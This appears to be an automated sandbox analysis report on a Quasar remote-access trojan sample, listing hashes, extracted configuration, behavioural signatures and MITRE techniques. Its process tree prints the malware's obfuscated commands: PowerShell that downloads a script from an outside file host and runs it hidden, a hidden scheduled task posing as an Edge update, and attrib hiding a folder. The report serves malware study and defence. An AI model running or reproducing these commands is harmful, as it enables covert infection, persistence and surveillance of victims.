quasar | bfa990bda3eebc658bcd0014dbfc9d57277e585548031f7ce4ecfcc8223f7b6b

Analysis

max time kernel
116s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
19/04/2025, 15:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

winAPI.exe
Size

36.0MB
MD5

fb466528aac78a063f4c60882a33ddc9
SHA1

2af35fa26c27e402e66b7c46d136a4a578f975af
SHA256

6f157135b2b74872f88863cc5bd1edbe8fbe3532dfb9e1b961afca9bb5c77fd3
SHA512

0539f5681271f70262288fcc0b7bd89d63c6c8b8f32f96bd43878df531f9997cde314357f541ca49f58363c484cca80a107b450fd37e3e35e75fd90edac71e77
SSDEEP

393216:f1Du8BtuBw2FEL3Z3aLUoQvo6LP/SgbSpYvKEh1EdKwlGQKPJuGsiTfREsrgCYf8:fMguj8Q4VfvwqFTrYCl

Score

10^/10

quasar execution spyware trojan

Malware Config

Extracted

Family

quasar

��:a>՘�后��s��6�F�l濺�,@ 3&�

Attributes

encryption_key
0A2600918F5E13281DD3F3E3CF35CA2FEACB6884
reconnect_delay
3000
startup_key
�� D��s�+��\� r8t$�

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral16/memory/5584-59-0x000001E7A8640000-0x000001E7A87CE000-memory.dmp	family_quasar

Blocklisted process makes network request 3 IoCs

flow	pid	Process
9	5096	powershell.exe
47	5584	powershell.exe
49	5584	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2340	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
5584	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2340	powershell.exe
2340	powershell.exe
5096	powershell.exe
5096	powershell.exe
5584	powershell.exe
5584	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe
Token: 36	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe
Token: 36	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe
Token: 36	2340	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5584	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 5332 wrote to memory of 3504	5332	winAPI.exe	87
PID 5332 wrote to memory of 3504	5332	winAPI.exe	87
PID 3504 wrote to memory of 4420	3504	cmd.exe	88
PID 3504 wrote to memory of 4420	3504	cmd.exe	88
PID 4420 wrote to memory of 3620	4420	cmd.exe	89
PID 4420 wrote to memory of 3620	4420	cmd.exe	89
PID 4420 wrote to memory of 2340	4420	cmd.exe	90
PID 4420 wrote to memory of 2340	4420	cmd.exe	90
PID 4420 wrote to memory of 5096	4420	cmd.exe	93
PID 4420 wrote to memory of 5096	4420	cmd.exe	93
PID 4420 wrote to memory of 5584	4420	cmd.exe	102
PID 4420 wrote to memory of 5584	4420	cmd.exe	102
PID 5584 wrote to memory of 1008	5584	powershell.exe	103
PID 5584 wrote to memory of 1008	5584	powershell.exe	103
PID 1008 wrote to memory of 1736	1008	csc.exe	104
PID 1008 wrote to memory of 1736	1008	csc.exe	104

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3620	attrib.exe

C:\Users\Admin\AppData\Local\Temp\winAPI.exe
"C:\Users\Admin\AppData\Local\Temp\winAPI.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\system32\attrib.exe
      attrib +h "C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache"
      4⤵
      Views/modifies file attributes
      PID:3620
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoPr"o"file -Execu"t"ionPolic"y" Byp"a"ss -Windo"w"Style Hid"d"en -Com"m"and "$action = New-ScheduledT"a"skAction -Execute 'powershell.exe' -Argument '-NoProfile -Exe"c"utionPo"l"icy B"y"pass -Wind"o"wStyle Hidden -File \"C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache\t"a"sk.ps1\"'; $trigger = New-ScheduledTaskTrigger -AtLogOn -User $env:USERNAME; $settings = New-ScheduledTaskSettingsSet -Hidden -DontStopIfGoingOnBatteries; $principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive; Register-ScheduledTask -TaskName 'Micro"s"oftEdge"U"pdat"e"Task' -Action $action -Trigger $trigger -Settings $settings -Principal $principal -Force | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2340
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoPr"o"file -Exe"c"utionPol"i"cy By"p"ass -Win"d"owStyle H"i"dd"e"n -Co"m"mand "Invo"k"e-W"e"bRequ"e"st 'ht"t"ps://"f"iles."c"atbo"x".moe/92nbzf.txt' -OutFile 'C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache\t"a"sk.ps1' -Use"B"asicParsing"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      PID:5096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -N"o"Profi"l"e -Execu"t"ionPol"i"cy Bypa"s"s -WindowSt"y"le Hi"d"den -Fi"l"e "C:\Users\Admin\AppData\Roaming\Mi"c"roso"f"t\Wi"n"dows\UD"C"ache\t"a"sk.ps1"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: AddClipboardFormatListener
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5584
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dgwb3kdw\dgwb3kdw.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1008
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6EFC.tmp" "c:\Users\Admin\AppData\Local\Temp\dgwb3kdw\CSCA72F10DC53D1438BB51EF322A8C46E69.TMP"
        6⤵
        
        PID:1736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
4877c25cc9af95c206561ca30b559eb9

SHA1
e2e9fbe93722a40af135688ca85d129572cf3b54

SHA256
41dc444f580c8dc62ba461940949e08c4dc9a563d3b6ed2ddf1e6418a23595a4

SHA512
039e7adb4d43ce19fb4cc578e1eb9245a86741ea2f3c6381803720dbc6096540edaa10ae69fef678bfc0175ce37929d2ebf50202e9e6bc5ecf35486eec0d2029

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
25aa9f7e55d9b68b70d38c8bfdb3ac91

SHA1
dd8b2e87bf5b08b1713465115cee14bf62d59a8c

SHA256
d189b163634408f3c86c14e55bdeb38ff5ae2bae39416e856ffbfab68073a248

SHA512
cee20121900a55d92de065bb5daa5e5fd6091cbc3ec319a2f7ddcc4ae62c45dcd2d429306daba1be53f852234325ad628d585b336c9d72c697d7fcc1dac1c739

Download Submit
C:\Users\Admin\AppData\Local\Temp\1.bat

Filesize
1KB

MD5
56ed4e1fbde1df51fb37b6677265ec3d

SHA1
6dc4cf3ebe6c0043c6fca9b5c9c46a3f5a492d17

SHA256
d65e44cd5593e4f8d380c23516e94db3b18e9a5c42ef40697beb2a611aaa9204

SHA512
c9c037b3713d2774301a4d68beee7c528fd2ade5aac95f06c82b1ef9f23ba47ec316cfc0d711fd773c8c81fd33366537395daee361325c5465cf02eb6dae41c6

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES6EFC.tmp

Filesize
1KB

MD5
f2924a91b89efb918fedb7f17f084396

SHA1
d528e2e9ff656fb6915d6bb6f3463e95484ab0aa

SHA256
9fc2cf63702947e1a942334d8fa2854e9776bb79a058d64989d6ceb1ca17fae9

SHA512
afe20b5df7fd49ec73aac44e8130519ccc263e54b0a2fe20e781cd064bba00f56b286f7c5eb0c74aca6a5b22fabf0747d024d0cbefca653276c8ecf672a77702

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sst2hhfn.atq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\dgwb3kdw\dgwb3kdw.dll

Filesize
3KB

MD5
f73f7fb3ad834f86a5433482cdaf618d

SHA1
0db13c72764b9c47738e94bd6e227cb8b3838037

SHA256
3d95be589edaeb75e6c85742e1f9aeadb3bb9928e7e2374c4d68e7620c5a6e22

SHA512
4a02c190c369afd167eae62bc13de4c6d79b6b4b347017deed6dbfc96972542bac869fcc265a5d0d02c2ee4f669d8925873cc60522e800f479a43929f4be6355

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\UDCache\task.ps1

Filesize
7.0MB

MD5
f46cd513598c2b1ffb63fe501301dd64

SHA1
d1d71cfdc9ea551470478b2452d0e451b8d055e8

SHA256
e8d38cba909fb2374dc0a406fcc0c4360ffb12ba5d588856690e7e06657e6df5

SHA512
bbd43f0f9b7eddc0857ac14339859e0e6b756de8749e54795d86bcdb580d6bf369a5a4050231bf1bdb361ff817907175180f04f352df2e35fce63fbeb4f91974

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dgwb3kdw\CSCA72F10DC53D1438BB51EF322A8C46E69.TMP

Filesize
652B

MD5
c23c2c3471c47449934d1fd76d2b122d

SHA1
975faaaacbb78a76586274adc35b88d7af94ae71

SHA256
3987a60b07ed5c510602c575e3e24c0a38493e192536fc3699d76f86c7935b98

SHA512
9090e38ccd306cb7fac1cf33fc0eeed611b934ba5a1ff7133168d546af8dc98ae94aaa3d9e4814c338f813530631e448e66d53b467e7e863f84f4042d0081c1c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dgwb3kdw\dgwb3kdw.0.cs

Filesize
938B

MD5
5b328f64341f326554c2d3c08ace5f93

SHA1
25a9aad6022782e5200d410aa9ff8e707ee2eb1a

SHA256
6e7a0c2174ae7882e6bd3f4afdf0438b982649021048df980b08c5ac948a01b9

SHA512
d4116697a54bc21a8d77aaa8eeafa95d60b6873073f2294d027829a83dc82bf39d63f08464b7622dcfd4ec3a1991b6225f72399321a5f93582d84387088badd0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\dgwb3kdw\dgwb3kdw.cmdline

Filesize
369B

MD5
0249b02382db5797d1720ca9f0456a45

SHA1
56e50d492dad2527c401566a60c2c718a18d79c1

SHA256
96a54b504008fedc9f79ca7a5bd3d56e89ab4ed47f24972dacfff398e9adfdbe

SHA512
916ea562e04d36359e80f1b772a622e80dcce03e0fcfb547672cfe81b6f934be741df4ef2167b22cec3c503ce8bc12507e479e4a7a4ac8c31aa13ef12ab98c94

Download Submit
memory/2340-15-0x00007FFB95520000-0x00007FFB95FE1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-18-0x00007FFB95520000-0x00007FFB95FE1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-14-0x00007FFB95520000-0x00007FFB95FE1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-6-0x000001A0CD7B0000-0x000001A0CD7D2000-memory.dmp

Filesize
136KB

Download
memory/2340-3-0x00007FFB95523000-0x00007FFB95525000-memory.dmp

Filesize
8KB

Download
memory/5584-57-0x000001E7A8020000-0x000001E7A818A000-memory.dmp

Filesize
1.4MB

Download
memory/5584-64-0x000001E7F73F0000-0x000001E7F74A2000-memory.dmp

Filesize
712KB

Download
memory/5584-59-0x000001E7A8640000-0x000001E7A87CE000-memory.dmp

Filesize
1.6MB

Download
memory/5584-60-0x000001E7A84B0000-0x000001E7A84CA000-memory.dmp

Filesize
104KB

Download
memory/5584-61-0x000001E7A8C20000-0x000001E7A8C32000-memory.dmp

Filesize
72KB

Download
memory/5584-62-0x000001E7A8C30000-0x000001E7A8C6A000-memory.dmp

Filesize
232KB

Download
memory/5584-63-0x000001E7DCA00000-0x000001E7DCA50000-memory.dmp

Filesize
320KB

Download
memory/5584-55-0x000001E7A8000000-0x000001E7A8008000-memory.dmp

Filesize
32KB

Download
memory/5584-65-0x000001E7A8C70000-0x000001E7A8CBE000-memory.dmp

Filesize
312KB

Download
memory/5584-66-0x000001E7A8CC0000-0x000001E7A8D0C000-memory.dmp

Filesize
304KB

Download
memory/5584-68-0x000001E7A8D60000-0x000001E7A8D8A000-memory.dmp

Filesize
168KB

Download
memory/5584-67-0x000001E7A8D10000-0x000001E7A8D5A000-memory.dmp

Filesize
296KB

Download
memory/5584-69-0x000001E7DC950000-0x000001E7DC962000-memory.dmp

Filesize
72KB

Download
memory/5584-70-0x000001E7F7330000-0x000001E7F736C000-memory.dmp

Filesize
240KB

Download